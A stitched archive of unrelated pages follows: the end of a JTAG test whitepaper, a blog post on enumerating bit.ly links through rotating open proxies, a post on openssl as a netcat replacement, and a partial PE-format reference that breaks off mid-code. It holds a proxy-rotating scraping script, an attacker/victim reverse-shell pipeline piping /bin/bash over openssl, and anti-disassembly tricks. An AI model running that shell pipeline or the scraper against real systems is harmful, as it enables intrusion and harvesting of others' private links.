<img src='img/Temp2_4648.gif' width='544' height='653' alt='ScanExpress Runner
Diagnostics Display' />

Figure 6 - ScanExpress Runner Diagnostics Display

During the design phase of a product, some JTAG vendors will provide design
assistance in selecting JTAG-compliant components, work with the developers to
ensure that the proper BSDL files are used, and provide advice in designing
the product for testability.

* * *
Applying JTAG for Production Test

Production testing, utilizing traditional In-Circuit Testers that do not have
JTAG features installed, experience similar problems that the product
developer had and more:

  * Loss of physical access to fine pitch components, such as SMTs and BGAs, reduces bed-of-nails ICT fault isolation.
  * Development of test fixtures for ICTs becomes longer and more expensive.
  * Development of test procedures for ICTs becomes longer and more expensive due to more complex ICs. 
  * Designers are forced to bring out a large number of test points, which is in direct conflict with the goal to miniaturize the design. 
  * In-system programming is inherently slow, inefficient, and expensive if done with an ICT.
  * Assembling boards with BGAs is difficult and subject to numerous defects, such as solder smearing.

* * *
JTAG Embedded Functional Test

Recently, a test methodology has been developed which combines the ease-of-use
and low cost of boundary-scan with the coverage and security of traditional
functional testing. This new technique, called JTAG Emulation Test \(JET\),
lets engineers automatically develop PCB functional test that can be run at
full speed., If the PCB has an on-board processor with a JTAG port \(common,
even if the processor doesn’t support boundary-scan\), JET and boundary-scan
tests can be executed as part of the same test plan to provide extended fault
coverage to further complement or replace ICT testing.  
  
Corelis ScanExpress JET™ provides JTAG embedded test for a wide range of
processors. For more information about this technology and product, visit the
_ScanExpress JET product page_.

* * *
Production Test Flow

Figure 7 shows different production flow configurations. The diagram shows two
typical ways that JTAG is deployed:

  * As a stand-alone application at a separate test station or test bench to test all the interconnects and perform ISP of on-board flash and other memories. JTAG embedded functional test \(JET\) may be integrated with boundary-scan.
  * Integrated into the ICT system, where the JTAG control hardware is embedded in the ICT system and the boundary-scan \(and possibly JET\) software is a module called from the ICT software system.

<img src='img/Temp2_4645.gif' width='530' height='331' alt='Typical Production
Flow Configurations' />  
** Figure 7 - Typical Production Flow Configurations**

In the first two cases, the test flow is sometimes augmented with a separate
ICT stage after the JTAG-based testing is completed, although it is becoming
more common for ICT to be skipped altogether or at least to be limited to
analog or special purpose functional testing.  
  
The following are major benefits in using JTAG test and in-system programming
in production:

  * No need for test fixtures.
  * Integrates product development, production test, and device programming in one tool/system. 
  * Engineering test and programming data is reused in Production.
  * Fast test procedure development.
  * Preproduction testing can start the next day when prototype is released to production.
  * Dramatically reduces inventory management – no pre-programmed parts eliminates device handling and ESD damage.
  * Eliminates or reduces ICT usage time – programming and screening.

Production test is an obvious area in which the use of boundary-scan yields
tremendous returns. Automatic test program generation and fault diagnostics
using JTAG software products and the lack of expensive fixturing requirements
can make the entire test process very economical. For products that contain
edge connectors and digital interfaces that are not visible from the boundary-
scan chain, JTAG vendors offer a family of boundary-scan controllable I/Os
that provide a low cost alternative to expensive digital pin electronics.

* * *
Field Service and Installation

The role of JTAG does not end when a product ships. Periodic software and
hardware updates can be performed remotely using the boundary-scan chain as a
non-intrusive access mechanism. This allows flash updates and reprogramming of
programmable logic, for example. Service centers that normally would not want
to invest in special equipment to support a product now have an option of
using a standard PC or laptop for JTAG testing. A simple PC-based JTAG
controller can be used for all of the above tasks and also double as a fault
diagnostic system, using the same test vectors that were developed during the
design and production phase. This concept can be taken one step further by
allowing an embedded processor access to the boundary-scan chain. This allows
diagnostics and fault isolation to be performed by the embedded processor. The
same diagnostic routines can be run as part of a power-on self-test procedure.

* * *
JTAG Design-for-Test Basic Considerations

As mentioned earlier in this article, the design for JTAG test guidelines are
simple to understand and follow compared to other traditional test
requirements. It is important to remember that JTAG testing is most successful
when the design and test engineering teams work together to ensure that
testability is “designed in” from the start. The boundary-scan chain is the
most critical part of JTAG implementations. When that is properly implemented,
improved testability inevitably follows.  
  
Below is a list of basic guidelines to observe when designing a JTAG-testable
board:

  * #####  If there are programmable components in a chain, such as FPGAs, CPLDs, etc., group them together in the chain order and place the group at either end of the chain. It is recommended that you provide access to Test Data In \(TDI\) and Test Data Out \(TDO\) signals where the programmable group connects to the non-programmable devices.
  * #####  All parts in the boundary-scan chain should have 1149.1-compliant test access ports \(TAPs\).
  * #####  Use simple buffering for the Test Clock \(TCK\) and Test Mode Select \(TMS\) signals to simplify test considerations for the boundary-scan TAP. The TAP signals should be buffered to prevent clocking and drive problems. 
  * #####  Group similar device families and have a single level converter interface between them, TCK, TMS, TDI, TDO, and system pins.
  * #####  TCK should be properly routed to prevent skew and noise problems.
  * #####  Use the standard JTAG connector on your board as depicted in Corelis documentation.
  * #####  Ensure that BSDL files are available for each JTAG component that is used on your board and that the files are validated. 

Design for interconnect testing requires board-level system understanding to
ensure higher test coverage and elimination of signal level conflicts.

  * #####  Determine which JTAG components are on the board. Change as many non-JTAG components to IEEE 1149.1-compliant devices as possible in order to maximize test coverage.
  * #####  Check non-JTAG devices on the board and design disabling methods for the outputs of those devices in order to prevent signal level conflicts. Connect the enable pins of the conflicting devices to JTAG controllable outputs. Corelis tools will keep the enable/disable outputs at a fixed disabling value during the entire test.
  * #####  Ensure that your memory devices are surrounded by JTAG components. This will allow you to use a test program generator, such as ScanExpress TPG, to test the interconnects of the memory devices. 
  * #####  Check the access to the non-boundary-scan clusters. Make sure that the clusters are surrounded by JTAG components. By surrounding the non-boundary-scan clusters with JTAG devices, the clusters can then be tested using a JTAG test tool. 
  * #####  If your design includes transparent components, such as series resistors or non-inverting buffers, your test coverage can be increased by testing through these components using ScanExpress TPG.
  * #####  Connect all I/Os to JTAG controllable devices. This will enable the use of JTAG, digital I/O module, such as the ScanIO-300LV, to test all your I/O pins, thus increasing test coverage.

* * *
Summary

JTAG is a widely practiced test methodology that is reducing costs, speeding
development, and improving product quality for electronics manufacturers
around the world. By relying on an industry standard, IEEE 1149.1, it is
relatively quick, easy, and inexpensive to deploy a highly effective test
procedure. Indeed, for many of today’s PCBs, there is little alternative
because of limited access to board-level circuitry. This paper highlights just
some of the potential applications of the JTAG standard in various stages of
the product life cycle, each contributing to the overall effect of
significantly reduced product development and support costs.

* * *
References

The IEEE Std 1149.1-1990 - Test Access Port and JTAG Architecture, and the Std
1149.1-1994b - Supplement to IEEE Std 1149.1-1990, are available from the IEEE
Inc., 345 East 47th Street, New York, NY 10017, USA, 1-800-678-IEEE \(USA\),
1-908-981-9667 \(Outside of USA\). You can also obtain a copy of the IEEE
1149.1 standard from http://www.ieee.com/

# Searching for Sensitive Data Using URL Shorteners « /dev/random

**Created:**| _11/14/2010 4:15:12 PM_  
---|---  
**Updated:**| _11/14/2010 4:15:28 PM_  
**Author:**| __  
**Tags:**| _web intelligence information systems_  
  

# Searching for Sensitive Data Using URL Shorteners

<img src='img/Temp2_7268.jpg' width='300' height='300' alt='URL Shorteners' />

\(Source: alaev.info\)

URL Shorteners are online services which reduce the length of URL’s. Web
applications are more and more complex and their URL’s can have multiple
parameters like pages, sessionsID’s and much more. At the same time, we use
services which limit the messages size \(like Twitter\) or devices \(like
SmartPhones\) which are not handy to type long texts. Shortened URL’s are
based on a limited and randomized set of alphanumeric characters and are
handled by the URL shortener website. When you access it, it will redirect you
to the real URL \(the common way is to use the HTTP code 301\). Example: By
accessing http://bit.ly/bQNokR, you’ll be redirected to this blog. Simple and
powerful. This is great\!

So simple that such services can also be used by the bad guys to distribute
malicious URLs in pseudo-safe addresses. Hopefully, some URL Shorteners
propose a preview of the original URL before redirecting you but it’s not
automatic. More and more applications are able to handle short URL’s and
resolve them for you. On bit.ly, a good security tip is to append a “+” sign
after the short URL. You’ll be redirected to the service homepage first and be
able to read some useful information about the URL.

Another security issue is the protocols specified in the URL. Classic ones are
“HTTP” or “FTP” but some URL Shorteners are very laxist and permit a large set
of protocols. Example on tinyurl.com, the following URL’s are accepted:

  * smb://share/dir/file.exe
  * file:///c:/temp/virus.exe

During the last edition of hack.lu, Saumil Shah demonstrated how to use such
service coupled with VLC to pwn a browser.

Another approach is to search the URL Shorteners history for interesting
stuff. For some services, once you created a short URL, it remains available
permanently\! This is the case with bit.ly. Here is an extract of their help
section:

> Can I delete a bit.ly link?  
>  We believe that being a legitimate shortening service means offering
> permanent URLs. **Our users can feel confident that thebit.ly links they
> create don’t unexpectedly disappear or expire.**
> How do I remove or archive links from my bit.ly history page?  
>  You can remove a bit.ly link from your history by opening the Options drop
> down menu and selecting the Archive link from the choices there \(the other
> choices are Share, Copy, and Edit\). **Remember that links archived from
> your public history are still permanently functional and will always
> redirect to their original destination.**
> Does bit.ly ever re-use links?
> **No. Each linkbit.ly issues is unique and will not be re-used**, so you can
> be confident users will arrive at the correct site. Some URL shorteners
> issue links that are a character shorter than bit.ly. But those links get
> re-used because there is an upper limit to the number of character
> combinations.
I wrote a small shell script to grab longs URLs from the bit.ly service. Here
the script:

[code]

      #!/bin/bash
      while true
      do
            URL=`mktemp -u XXXXXX`
            # Proxies are listed in a text file (IP:PORT)
            RANGE=`wc -l proxy.list | awk '{ print $1; }'`
            n=$RANDOM
            let "n %= $RANGE"
            http_proxy=`tail -$n proxy.list | head -1`
            echo "Testing $URL via $http_proxy ..."
            wget --max-redirect=0 -o /tmp/wget.$$ http://bit.ly/$URL
            # If a "Location:" header is returned, we have a valid URL
            REDIRECT=`grep ^Location: /tmp/wget.$$ | awk '{ print $2; }'`
            if [ "$REDIRECT" != "" ]; then
                    echo "$URL -> $REDIRECT" >>results.log
            fi
      done
    
    
[/code]

To prevent all risks of being blacklisted, I used open proxies in a random
way. The UNIX command “ _mktemp_ ” is a nice tool to generate random strings.
To test if a bit.ly short URL is valid, just check if you received an HTTP
code 301 \(“ _Moved permanently_ “\). The original URL is give via the
“Location” header.

I let the script run during a few days and received 150000+ URL’s shortened by
bit.ly. Here is a top-20 of the “shortened” websites:

[code]

      Websites              Hits               TLD's      Hits
      --------              ----               -----      ----
      formspring.me         4974               .com       101319
      www.facebook.com      4740               .me          6794
      fun140.com            3690               .net         5327
      twitter.com           3298               .jp          5181
      feedproxy.google.com  2841               .org         4363
      www.google.com        2495               .de          2861
      www.youtube.com       1780               .uk          2458
      apps.facebook.com     1598               .br          1895
      bit.ly                1549               .ly          1702
      build.nimblebuy.com   1543               .info        1602
      myloc.me              1149
      foursquare.com         875
      www.cbfeed.com         874
      www.amazon.com         780
      news.google.com        672
      friends.myspace.com    671
      chatter.com            635
      links.assetize.com     580
      www.etsy.com           565
      share.groups.im        524
    
    
[/code]

Here are some facts about the URLs I grabbed:

  * First fact, the social networks are on top\! \(is it really a surprise?\)
  * 0.48% of the shortened URLs are based on IP addresses instead of FQDN.
  * People use URL Shorteners inside organizations. I found URL’s based on RFC 1918 addresses \(private addresses\).
  * URL’s pointing to the loopback interface\!? <img src='img/Temp2_7267.jpg' alt=':-)' />
  * 0.47% of the shortened URLs contained the word “ _sex_ “.

Interesting information found:

  * Private documents stored on scribd.com.
  * Lot of business documents \(Word, Excel, Powerpoint, PDF, …\)
  * Political content \(propaganda images\)
  * Exploits attempts
  * Administration interfaces

To conclude, use the URL Shorteners carefully. As user, never trust a short
URL. As a creator, be careful about what you share. This is NOT a way to hide
your data and once posted, your URL remains valid forever \(except if you
remote it manually – which often people don’t do\).

# Using openssl as a netcat replacement | WSEC
**Created:**| _9/8/2011 11:34:30 AM_  
---|---  
**Updated:**| _9/8/2011 3:08:41 PM_  
**Author:**| __  
**Tags:**| _crypto network-security_  
  

# Using openssl as a netcat replacement

Posted on 20 juli 2009 by barabas

A less known fact is that the openssl commandline can also be used in client
and server mode, providing netcat like abilities, with the added value of
encryption.

First we need to generate a certificate on the server side like this:

“openssl req -x509 -nodes -days 365 -newkey rsa:1024 -keyout mycert.pem -out
mycert.pem”

and then we can start a listener like this:

“openssl s\_server -accept 443 -cert mycert.pem

And connect like this with the client \(in this case we connect to local host:

“openssl s\_client -connect 127.0.0.1:443″

we can now have encrypted chat, just like in the netcat tutorial \(part1\) \!

<img src='img/Temp2_8793.png' />  
<img src='img/Temp2_8788.png' />

What about transferring a file with openssl? well, check this out:

<img src='img/Temp2_8791.png' />  
<img src='img/Temp2_8786.png' />

As you can see, we can redirect STDIN and STDOUT just as with netcat. All we
lack is the -e option…but…remember the port shovelling? We can do
portshovelling with openssl as well:

\- on attacker we open 2 listeners like this  
1\)”openssl s\_server -accept 443 -cert ~/mycert.pem -quiet”  
2\)”openssl s\_server -accept 4443 -cert ~/mycert.pem -quiet”

\- on the victim we shovel our shell  
“openssl s\_client -connect 127.0.0.1:443 -quiet | /bin/bash | openssl s\_client -connect 127.0.0.1:4433 -quiet”
<img src='img/Temp2_8787.png' />  
<img src='img/Temp2_8789.png' />  
<img src='img/Temp2_8790.png' />

Who needs netcat or stunnel <img src='img/Temp2_8792.png' alt=';)' />

There’s a windows version of openssl as well; it needs 2 dll’s to function:
ssleay32.dll and libeay32.dll

This entry was posted in advanced, bash-fu, openssl. Bookmark the permalink.

# PE - corkami - the Portable Executable Format on Windows - reverse
engineering experiments and documentations - Google Project Hosting

**Created:**| _10/17/2011 8:24:23 AM_  
---|---  
**Updated:**| _10/17/2011 8:24:23 AM_  
**Author:**| __  
**Tags:**| _windows environment pe_  
  

# PE

  * This page \(printable version wiki source\) deals with the PE format, or more specifically, x86/x64 Windows \(from XP to W7\) binaries \(ie, not other OSes or systems, not OBJ format, etc...\) 
  * It deals with the reality of the loader, not the theory of the format itself. 
  * All proof of concepts are included with source. 

  * They're all working and clean. 
  * They're all generated in asssembly, by hand, from scratch, so no superfluous information is included \(they might be wrongly detected as suspicious for that\) 
  * repository directory sources+binaries download. 

  * PE
  * required elements
  * structure by structure

  * DOS Header \('MZ Header'\)
  * e\_magic

  * e\_cparhrd
  * e\_lfanew

  * Rich header
  * NT Headers \('PE Header'\)

  * Machine
  * NumberOfSections
  * TimeDateStamp
  * SizeOfOptionalHeader

  * Optional Header

  * Magic
  * AddressOfEntryPoint
  * ImageBase
  * SectionAlignment / FileAlignment
  * MajorSubsystemVersion
  * SizeOfImage
  * SizeOfHeaders
  * CheckSum
  * Subsystem
  * NumberOfRvaAndSizes

  * Optional Header
  * data directories

  * exports
  * imports
  * resources
  * relocations
  * debug
  * description
  * TLS
  * Bound imports
  * Import table
  * delay imports

  * section table

  * Misc\_VirtualSize
  * VirtualAddress
  * SizeOfRawData
  * PointerToRawData
  * Characteristics

  * specific cases

  * folded header
  * PE + PDF
  * quine
  * tls\_aoiOSDET

  * manyimportsW7

  * acknowledgements
  * Other resources

# required elements

a standard \(high aligments, sections, imports\) PE such as `normal.exe` can
be defined with only the following structure elements:

[code]

        at IMAGE_DOS_HEADER.e_magic, db 'MZ'  
        at IMAGE_DOS_HEADER.e_lfanew, dd NT_Signature - IMAGEBASE  
    ...  
        at IMAGE_NT_HEADERS.Signature, db 'PE', 0, 0  
    ...  
        at IMAGE_FILE_HEADER.Machine,               dw IMAGE_FILE_MACHINE_I386  
        at IMAGE_FILE_HEADER.NumberOfSections,      dw NUMBEROFSECTIONS  
        at IMAGE_FILE_HEADER.SizeOfOptionalHeader,  dw SIZEOFOPTIONALHEADER  
        at IMAGE_FILE_HEADER.Characteristics,       dw IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_32BIT_MACHINE  
    ...  
        istruc IMAGE_OPTIONAL_HEADER32  
        at IMAGE_OPTIONAL_HEADER32.Magic,                     dw IMAGE_NT_OPTIONAL_HDR32_MAGIC  
        at IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint,       dd EntryPoint - IMAGEBASE  
        at IMAGE_OPTIONAL_HEADER32.ImageBase,                 dd IMAGEBASE  
        at IMAGE_OPTIONAL_HEADER32.SectionAlignment,          dd SECTIONALIGN  
        at IMAGE_OPTIONAL_HEADER32.FileAlignment,             dd FILEALIGN  
        at IMAGE_OPTIONAL_HEADER32.MajorSubsystemVersion,     dw 4  
        at IMAGE_OPTIONAL_HEADER32.SizeOfImage,               dd 2 * SECTIONALIGN  
        at IMAGE_OPTIONAL_HEADER32.SizeOfHeaders,             dd SIZEOFHEADERS  
        at IMAGE_OPTIONAL_HEADER32.Subsystem,                 dw IMAGE_SUBSYSTEM_WINDOWS_CUI  
        at IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes,       dd 16  
    ...  
        at IMAGE_DATA_DIRECTORY_16.ImportsVA,   dd Import_Descriptor - IMAGEBASE  
    ...  
        at IMAGE_SECTION_HEADER.VirtualSize,      dd 1 * SECTIONALIGN  
        at IMAGE_SECTION_HEADER.VirtualAddress,   dd 1 * SECTIONALIGN  
        at IMAGE_SECTION_HEADER.SizeOfRawData,    dd 1 * FILEALIGN  
        at IMAGE_SECTION_HEADER.PointerToRawData, dd 1 * FILEALIGN  
        at IMAGE_SECTION_HEADER.Characteristics,  dd IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE
[/code]

so everything else is not required.

# structure by structure

## DOS Header \('MZ Header'\)

  * starts at offset 0 
  * most values only matters to the DOS stub. 

  * `compiled.exe` contains a DOS stub 

[code]

       DOS_HEADER:  
    ...  
        .e_cparhdr     dw (dos_stub - DOS_HEADER) >> 4 ; defines MZ stub entry point  
    ...  
      
    align 010h, db 0  
      
    dos_stub:  
    bits 16  
        push    cs  
        pop     ds  
        mov     dx, dos_msg - dos_stub  
        mov     ah, 9  
        int     21h  
        mov     ax, 4c01h  
        int     21h  
    dos_msg  
        db 'This program cannot be run in DOS mode.', 0dh, 0dh, 0ah, '$'
[/code]

## e\_magic

  * = `MZ`
  * stands for Mark Zbikowski
  * it could be `ZM` on an \(non-PE\) EXE. These executables still work under XP via ntvtm. 

  * `dosZMXP.exe` is a non-PE EXE with a ZM signature 

[code]

    at IMAGE_DOS_HEADER.e_magic, db 'ZM'
[/code]

### e\_cparhrd

  * points to the dos stub, shifted by 4 \(count of paragraphs\) 

### e\_lfanew

  * is a relative offset to the NT Headers. 

  * `tiny.exe` has a `e_lfanew` of 4, which means the NT Headers is overlapping the DOS Header. 

[code]

    DOS_HEADER:  
    .e_magic dw 'MZ'  
      
    align 4, db 0  
      
    istruc IMAGE_NT_HEADERS  
        at IMAGE_NT_HEADERS.Signature, db 'PE',0,0  
    ...  
        at IMAGE_OPTIONAL_HEADER32.SectionAlignment,          dd 4      ; also sets e_lfanew  
        at IMAGE_OPTIONAL_HEADER32.FileAlignment,             dd 4
[/code]

  * `appendedhdr.exe` and `apphdrW7.exe` have both a `e_lfanew` of 400h, which puts the NT Headers in appended data. However, it's required under XP that the Header is extended till there via SizeOfHeaders. 

## Rich header

  * is an unofficial structure generated by compilers. 
  * has no consequence on PE execution 
  * is not documented officially, but documented by _lifewire_ and _Daniel Pistelli_. 

  * `compiled.exe` contains a Rich Header 

[code]

    align 16, db 0  
    RichHeader:  
    RichKey EQU 092033d19h  
    dd "DanS" ^ RichKey     , 0 ^ RichKey, 0 ^ RichKey       , 0 ^ RichKey  
    dd 0131f8eh ^ RichKey   , 7 ^ RichKey, 01220fch ^ RichKey, 1 ^ RichKey  
    dd "Rich", 0 ^ RichKey  , 0, 0  
    align 16, db 0
[/code]

## NT Headers \('PE Header'\)

  * has to be dword-aligned. 

### Machine

  * `014c` for 32b 
  * `8664` for 64b 

### NumberOfSections

  * can be null with low alignment PEs 

  * `nosection*.exe`, `tiny*.exe`

  * can be up to 96 under XP: 

  * `96emptysections.exe` \(all identical\), `96workingsections.exe` \(all physically different\), `maxsecXP.exe` \(garbage table\) 

  * can be up to 65535 

  * `65535sects.exe` has 65535 sections, that are all virtually executed. 

### TimeDateStamp

  * has a different meaning whether it's a Borland or a Microsoft compiler 
  * is used for bound imports check 

##### PointerToSymbolTable/NumberOfSymbols

no importance whatsoever for the loader

### SizeOfOptionalHeader

  * is not the size of the optional header, just the delta between the top of the Optional header and the start of the section table. 

> Thus, it can be null \(the section table will overlap with the Optional
> Header, or can be null when no sections are present\) or as big as the file
> \(the section table will be in virtual space, full of zero\).
>   * `nullSOH-XP` is a PE with a null SizeOfHeaders. the section table is
> thus overlapping the optional header. \(XP only\).
>

[code]

>     ...  
>     > SECTIONALIGN equ 4  
>     > FILEALIGN equ 4  
>     > ...  
>     > OptionalHeader:                                                      
>                              ; Section Table  
>     > istruc IMAGE_OPTIONAL_HEADER32  
>     >     at IMAGE_OPTIONAL_HEADER32.Magic,                     dw
> IMAGE_NT_OPTIONAL_HDR32_MAGIC  
>     >     at IMAGE_OPTIONAL_HEADER32.SizeOfInitializedData,     dd
> EntryPoint - IMAGEBASE                 ; VirtualSize (duplicate value to
> accept loading)  
>     >     at IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint,       dd
> EntryPoint - IMAGEBASE                 ; SizeOfRawData  
>     > ...
[/code]

>   * `virtsectblXP` is a PE with its 82 sections of empty information, with
> its section table in virtual space.
>

[code]

>     ...  
>     >     at IMAGE_FILE_HEADER.NumberOfSections,      dw 82 ; 0 <=
> NumberOfSections <= 82 (varies with SizeOfOptionalHeader)  
>     > ...  
>     > SIZEOFOPTIONALHEADER equ 10h + $ - IMAGEBASE ; bigger than the file
> itself !  
>     > ; section table starts here...  
>     > <EOF>
[/code]

  * standard value: `E0`

> ## Optional Header
### Magic

  * `10b` for 32b 
  * `20b` for 64b 

##### MajorLinkerVersion/MinorLinkerVersion

unused

##### SizeOfCode/SizeOfInitializedData/SizeOfUninitializedData

unused

### AddressOfEntryPoint

  * can be null 

  * `nullEP.exe` has a null EntryPoint: Execution starts at ImageBase, executing 'MZ' as 'dec ebp/pop edx' 

[code]

    EntryPoint:  
    istruc IMAGE_DOS_HEADER  
        at IMAGE_DOS_HEADER.e_magic, db 'MZ'  
      
        push Msg  
        call [__imp__printf]  
        add esp, 1 * 4  
        push 0  
        call [__imp__ExitProcess]  
      
        at IMAGE_DOS_HEADER.e_lfanew, dd NT_Signature - IMAGEBASE
[/code]

  * can be negative 

  * `dllextep-ld` has an external EntryPoint that is located in `dllextep.dll` \(a dll with no relocations\) 

  * `dllext-ep`: 

[code]

    IMAGEBASE equ 1000000h
[/code]

  * `dllextep-ld`: 

[code]

    IMAGEBASE equ 33000000h  
    ...  
        at IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint,       dd 1001008h - IMAGEBASE
[/code]

##### BaseOfCode/BaseOfData

unused

### ImageBase

  * is a multiple of 10000h 
  * can be null, under XP. In this case, the binary will be relocated to 1000h 

  * `ibnullXP.exe` has a null imagebase, and relocations 

  * can be any value as long as `ImageBase + 'SizeOfImage' < 80000000h`

  * `bigib.exe` has an ImageBase of 7ffd0000h, and no relocations 

  * if the ImageBase is bigger than that, the binary will be relocated to 10000h 

  * `ibkernel.exe` has an ImageBase of 0FFFF0000h and relocations. 

### SectionAlignment/FileAlignment

  * both are power of 2 \(4, 8, 16...\) 
  * standard mode: `200 <= FileAlignment <= SectionAlignment` and `1000 <= SectionAlignment`

  * `normal.exe` has aligments of 1000/200 
  * `bigalign.exe` has alignments of 20000000/10000 

  * in low alignment: `4 <= FileAlignment = SectionAlignment <= 800`

  * all `tiny*.*`, `nosection*.exe` have alignments of 4/4 

#####
MajorOperatingSystemVersion/MinorOperatingSystemVersion/MajorImageVersion/MinorImageVersion

  * unused 

### MajorSubsystemVersion

  * has to be 4 

##### MinorSubsystemVersion

  * unused 

##### Reserved1 \(Win32Version\)

  * not covered yet 
  * can override Major/Minor OperatingSystem/Image Versions 

### SizeOfImage

  * normally equal the total virtual size of all sections + headers 

  * `65535sects.exe` has a SizeOfImage of 0x7027A000 \(W7 only\) 
  * `tinyXP` has a SizeOfImage of 0x2e. it only covers up to the EntryPoint value. 

### SizeOfHeaders

### CheckSum

  * simple algorithm 
  * required for drivers only 

### Subsystem

  * a CONSOLE PE is exactly like a GUI PE except that it comes with a pre-attached console. 
  * a DRIVER PE only requires a correct checksum to work correctly. 

##### DllCharacteristics

  * not necessary 

  * `dll.dll` is a working DLL with this value set to 0 

##### SizeOfStackReserve/SizeOfStackCommit/SizeOfHeapReserve/SizeOfHeapCommit

  * can be zero, but not any value 

  * `normal.exe` has these value set to zero. 

##### LoaderFlags

### NumberOfRvaAndSizes

  * rounded down to 16 if bigger \(can be `FFFF`\) 
  * can be 0 `tiny.exe`, etc... 

## Optional Header

  * is anything but optional on a windows executable. 

## data directories

### exports

  * like many data directories, Exports' size are not necessary 
  * Characteristics, TimeDateStamp, MajorVersion and MinorVersion are not necessary. 
  * Base is only used for ordinal imports 

  * `dll.dll` has a small export table, for one named entry: 

[code]

        at IMAGE_DATA_DIRECTORY_16.ExportsVA,  dd Exports_Directory - IMAGEBASE  
    ...  
    Exports_Directory:  
      Characteristics       dd 0  
      TimeDateStamp         dd 0  
      MajorVersion          dw 0  
      MinorVersion          dw 0  
      Name                  dd aDllName - IMAGEBASE  
      Base                  dd 0  
      NumberOfFunctions     dd NUMBER_OF_FUNCTIONS  
      NumberOfNames         dd NUMBER_OF_NAMES  
      AddressOfFunctions    dd address_of_functions - IMAGEBASE  
      AddressOfNames        dd address_of_names - IMAGEBASE  
      AddressOfNameOrdinals dd address_of_name_ordinals - IMAGEBASE  
    ...  
    aDllName db 'dll.dll', 0  
    ...  
    address_of_functions:  
        dd __exp__Export - IMAGEBASE  
    NUMBER_OF_FUNCTIONS equ ($ - address_of_functions) / 4  
    ...  
    address_of_names:  
        dd a__exp__Export - IMAGEBASE  
    NUMBER_OF_NAMES equ ($ - address_of_names) / 4  
    ...  
    address_of_name_ordinals:  
        dw 0  
    ...  
    a__exp__Export db 'export', 0
[/code]

  * the Export Name is not necessary, and can be anything. 

  * `dllweirdexp.dll` is correctly exported, with a corrupted Export Name 

[code]

    Exports_Directory:  
    ...  
      Name                  dd VDELTA + aDllName - IMAGEBASE  
    ...  
    aDllName db 'completely unrelated dll name', 1, 2, 3, 4, 0
[/code]

  * export names can have any value \(even null or more than 65536 characters long, with unprintable characters\). just null terminated. 

  * `dllemptyexp-ld.exe` loads `dllemptyexp.dll` with a null export 
  * `dllweirdexp-ld.exe` loads `dllweirdexp.dll` with a 131102-long non-Ascii export. 

  * an .EXE can have exports \(no need of relocation nor DLL flag\), and can use them normally 

  * `ownexports.exe` uses its own exports 

  * exports at fixed value can be used to encode data, when their values are filled in the Import Address Table 

  * `exportsdata.exe`'s code is stored as dodgy exports RVAs, and is restored when imports are resolved 

[code]

    EntryPoint:  
    ownexports.exe_iat:  
        dd 80000000h ; => dd 000101468h => 68 14100010   push 10001014  
        dd 80000001h ; => dd 04015FF10h => FF15 40100010 call [10001040]  
        dd 80000002h ; => dd 083100010h => 83C4 04       add esp,4  
        dd 80000003h ; => dd 0CCC304C4h => C3            retn  
        dd 0  
    ...  
    Exports_Directory:  
    ...  
    address_of_functions:  
    dd 000101468h - IMAGEBASE  
    dd 04015FF10h - IMAGEBASE  
    dd 083100010h - IMAGEBASE  
    dd 0CCC304C4h - IMAGEBASE  
    NBFUNCTIONS equ ($ - address_of_functions) / 4  
    ...
[/code]

  * fake exports values can disrupt proper disassembly 

  * `exportobf.exe` contains fake exports to make disassembly harder 

  * ordinals-only exports can make the structure even smaller \(no NumberOfFunctions/NumberOfNames/AddressOfNames/AddressOfNameOrdinals\). Fake entries can be also present in exports as long as Base + Ordinal matches the wanted export. 

  * `impbyord.exe` calls its own imports by ordinals 
  * `dllord-ld.exe` is importing export \#314 from `dllord.dll`

  * `dllord-ld.exe`

[code]

    dll.dll_iat:  
    __imp__export:  
        dd 1 << 31 | 314h ; highest bit set to indicate imports by ordinal
[/code]

  * `dllord.dll`

[code]

     Exports_Directory:  
    ...  
      Base                  dd 313h  
    ...  
      AddressOfFunctions    dd address_of_functions - IMAGEBASE  
    ...  
      
    address_of_functions:  
        dd -1                                   ; bogus entry that will be 313h  
        dd __exp__Export - IMAGEBASE
[/code]

  * exports can be used just to forward imports. in this case, the forwarded import is written as `dll.API` and must be within exportsVA and Size. 

  * `dllfw.dll` forwards imports from msvcrt 

[code]

    address_of_functions:  
        dd amsvcrt_printf - IMAGEBASE  
    ...  
    address_of_names:  
        dd a__exp__Export - IMAGEBASE  
    ...  
    amsvcrt_printf db "msvcrt.printf", 0 ; forwarding string can only be within the official export directory bounds  
    a__exp__Export db 'ExitProcess', 0  
      
    EXPORTS_SIZE equ $ - Exports_Directory
[/code]

  * exports can also forward each other and create loops 

  * `dllfwloop.dll` forwards its own imports until the right API is called. 

[code]

    ...  
    address_of_functions:  
        dd adllfwloop_loophere  - IMAGEBASE  
        dd adllfwloop_looponceagain  - IMAGEBASE  
        dd amsvcrt_printf - IMAGEBASE  
        dd adllfwloop_GroundHogDay - IMAGEBASE  
        dd adllfwloop_Yang - IMAGEBASE  
        dd adllfwloop_Ying - IMAGEBASE  
    NUMBER_OF_FUNCTIONS equ ($ - address_of_functions) / 4  
    _d  
      
    address_of_names:  
        dd a__exp__ExitProcess - IMAGEBASE  
        dd a__exp__LoopHere - IMAGEBASE  
        dd a__exp__LoopOnceAgain - IMAGEBASE  
        dd a__exp__GroundHogDay - IMAGEBASE  
        dd a__exp__Ying - IMAGEBASE  
        dd a__exp__Yang - IMAGEBASE  
    NUMBER_OF_NAMES equ ($ - address_of_names) / 4  
    ...
[/code]

### imports

  * Imports size is not used. ImportAddressTable is typically not required \(excepted in low alignments, under XP\) 

  * `dll-ld.exe` imports `dll.dll` with a small import table: 

[code]

        at IMAGE_DATA_DIRECTORY_16.ImportsVA,   dd Import_Descriptor - IMAGEBASE  
    ...  
    EntryPoint:  
        call [__imp__export]  
    ...  
      
    Import_Descriptor:  
    ...  
    dll.dll_DESCRIPTOR:  
        dd dll.dll_hintnames - IMAGEBASE  
        dd 0, 0  
        dd dll.dll - IMAGEBASE  
        dd dll.dll_iat - IMAGEBASE  
    ;terminator  
        dd 0, 0, 0, 0, 0  
    ...  
    dll.dll_hintnames:  
        dd hndllexport - IMAGEBASE  
        dd 0  
    ...  
    hndllexport:  
        dw 0  
        db 'export', 0  
    ...  
    dll.dll_iat:  
    __imp__export:  
